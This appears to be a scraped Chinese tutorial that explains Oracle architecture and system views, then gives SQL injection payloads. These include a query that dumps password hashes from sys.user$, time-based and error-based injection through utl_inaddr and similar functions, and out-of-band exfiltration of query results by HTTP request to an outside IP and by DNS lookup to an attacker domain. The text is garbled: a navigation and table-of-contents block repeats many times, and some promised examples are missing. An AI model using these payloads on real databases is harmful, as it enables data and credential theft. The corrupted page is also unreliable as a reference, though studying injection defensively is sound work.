jQuery火箭图标返回顶部代码 一、Oracle基本知识 组成部分 数据字典 表空间 注释 dual虚拟表 rownum 常用函数 流程控制 系统表 常用系统表查询

组成部分

Oracle数据库系统由数据库文件(保存在磁盘上的文件)、数据库实例(管理数据库文件的一组进程和内存结构)。

应用程序连接到数据库时,实际上是连接到一个Oracle实例,由Oracle实例中的进程和内存来为应用程序提供服务。

注意:在SQL server或MySQL中,当连接到数据库中可以同时管理多个数据库,这是因为实例就是数据库服务器引擎,,因此一个实例可以创建多个数据库。而Oracle中,实例由一系列的进程和服务组成,与数据库可以是一对一的关系,也就是一个实例可以管理一个数据库;也可以是一对多的关系,多个实例可以管理一个数据库,其中多个实例组成一个数据库的架构叫做集群。

因此。一个实例不能管理多个数据库,这是Oracle与其他数据库的一个明显区别。

数据字典

数据字典是Oracle数据库的重要组成部分,它由一系列拥有的数据库元数据(metadata)信息的数据字典表和用户可以读取的数据字典视图组成,存放Oracle数据所用的有关信息,主要包括:系统的空间信息、数据库中所有模式对象的信息(表、视图、索引等)、Oracle用户的名字、用户访问或使用的审计信息、用户的权限信息、列的约束信息和缺省值等。

数据字典可以看作是一组表和视图结构,它们存放在SYSTEM表空间中。

表空间

表空间是Oracle数据库中最大的逻辑结构,可以将表空间看作是数据库对象的容器。由一个或多个数据文件的集合,所有的数据对象都被逻辑地放在指定的表空间中。一个数据库通常包括SYSTEM、SYSAUX和TEMP三个默认表空间,一个或多个临时表空间。

注释

Oracle的注释有单行注释 -- 和多行注释 /**/。不像MySQL还支持#。

dual虚拟表

Oracle规定,每次查询时后面必须跟表名称,而dual是oracle的一个虚拟表,这张表只有单行单列一条记录,可以利用这个虚拟表设置或调用一些内置函数等。

Oracle是强类型的数据库 ,所以在UNION联合查询时候,用NULL兼容数据类型,而不能使用1,2,3数字代替。

rownum

oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。

获取表中第一行记录:

 jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

如果想找到从第二行记录以后的记录,当使用rownum>2或rownum=2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。

在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。

'a'||'b'='ab'

 jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

常用函数

Oracle中函数和MySQL数据库中类似,常用的有:

字符串函数:ASCII(str)、CHR(i)、CONCAT(s1,s2)、LENGTH(s1)、SUBSTR(s1,i,[j])

数学函数:ABS(n)、POWER(n1,n2)、SIN()等等

日期函数:SYSDATE()

转换类函数:TO_CHAR(s1):将s1转换为字符串

流程控制

在MySQL中,流程控制有IF和IFNULL,而PL/SQL(Oracle)中,有多个流程控制符:

系统表

Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。

DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。

DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

USER_TABLES意为某一用户所拥有的所有的关系表。

当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。

DBA_TABLES >= ALL_TABLES >= USER_TABLES

需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。

dba_开头
dba_users 数据库用户信息
dba_segments 表段信息
dba_extents 数据区信息
dba_objects 数据库对象信息
dba_tablespaces 数据库表空间信息
dba_data_files 数据文件设置信息
dba_temp_files 临时数据文件信息
dba_rollback_segs 回滚段信息
dba_ts_quotas 用户表空间配额信息
dba_free_space数据库空闲空间信息
dba_profiles 数据库用户资源限制信息
dba_sys_privs 用户的系统权限信息
dba_tab_privs用户具有的对象权限信息
dba_col_privs用户具有的列对象权限信息
dba_role_privs用户具有的角色信息
dba_audit_trail审计跟踪记录信息
dba_stmt_audit_opts审计设置信息
dba_audit_object 对象审计结果信息
dba_audit_session会话审计结果信息
dba_indexes用户模式的索引信息

user_开头
user_objects 用户对象信息
user_source 数据库用户的所有资源对象信息
user_segments 用户的表段信息
user_tables 用户的表对象信息
user_tab_columns 用户的表列信息
user_constraints 用户的对象约束信息
user_sys_privs 当前用户的系统权限信息
user_tab_privs 当前用户的对象权限信息
user_col_privs 当前用户的表列权限信息
user_role_privs 当前用户的角色权限信息
user_indexes 用户的索引信息
user_ind_columns用户的索引对应的表列信息
user_cons_columns 用户的约束对应的表列信息
user_clusters 用户的所有簇信息
user_clu_columns 用户的簇所包含的内容信息
user_cluster_hash_expressions 散列簇的信息

v$开头
v$database 数据库信息
v$datafile 数据文件信息
v$controlfile控制文件信息
v$logfile 重做日志信息
v$instance 数据库实例信息
v$log 日志组信息
v$loghist 日志历史信息
v$sga 数据库SGA信息
v$parameter 初始化参数信息
v$process 数据库服务器进程信息
v$bgprocess 数据库后台进程信息
v$controlfile_record_section 控制文件记载的各部分信息
v$thread 线程信息
v$datafile_header 数据文件头所记载的信息
v$archived_log归档日志信息
v$archive_dest 归档日志的设置信息
v$logmnr_contents 归档日志分析的DML DDL结果信息
v$logmnr_dictionary 日志分析的字典文件信息
v$logmnr_logs 日志分析的日志列表信息
v$tablespace 表空间信息
v$tempfile 临时文件信息
v$filestat 数据文件的I/O统计信息
v$undostat Undo数据信息
v$rollname 在线回滚段信息
v$session 会话信息
v$transaction 事务信息
v$rollstat 回滚段统计信息
v$pwfile_users 特权用户信息
v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息
v$sql 与v$sqlarea基本相同的相关信息
v$sysstat 数据库系统状态信息

all_开头
all_users 数据库所有用户的信息
all_objects 数据库所有的对象的信息
all_def_audit_opts 所有默认的审计设置信息
all_tables 所有的表对象信息
all_indexes所有的数据库对象索引的信息

session_开头
session_roles 会话的角色信息
session_privs 会话的权限信息

index_开头
index_stats 索引的设置和存储信息

常用系统表查询

数据库信息

select NAME,PLATFORM_NAME from v$database
select HOST_NAME,VERSION from v$instance
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询


表信息

select TABLE_NAME,TABLESPACE_NAME from user_tables

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询


字段信息

select TABLE_NAME,COLUMN_NAME from user_tab_columns WHERE TABLE_NAME LIKE 'TEST';

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

当前用户

SELECT user FROM dual

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询


列密码哈希

SELECT name,spare4 FROM sys.user$

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询


时间盲注
获取主机名

SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询


查询大量的数据


对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。其他数据库也适用。

select count(*) from all_objects

当然,还有其他的骚操作。

报错注入

utl_inaddr.get_host_address()

根据主机名获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

select utl_inaddr.get_host_address((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

utl_inaddr.get_host_name()

select utl_inaddr.get_host_name((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

ctxsys.drithsx.sn()

select ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables WHERE rownum=1)) from dual

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

ordsys.ord_dicom.getmappingxpath()

select ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) from dual;

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

dbms_utility.sqlid_to_sqlhash()

select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

还有几个其他的报错函数,就不一一介绍了。

带外通信


Oracle可以发送HTTP请求和DNS请求,可以将查询的结果附带到请求中,然后通过查看WEB日志和DNS记录读取查询结果,这种方式针对盲注注入能有效的提高效率。

HTTP请求


utl_http.request(),发送HTTP请求:

select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询

DNS请求


utl_inaddr.get_host_address(),查询NDS请求

select utl_inaddr.get_host_address((select user from dual)||'.xxx.com') from dual

jQuery火箭图标返回顶部代码
一、Oracle基本知识
组成部分
数据字典
表空间
注释
dual虚拟表
rownum
常用函数
流程控制
系统表
常用系统表查询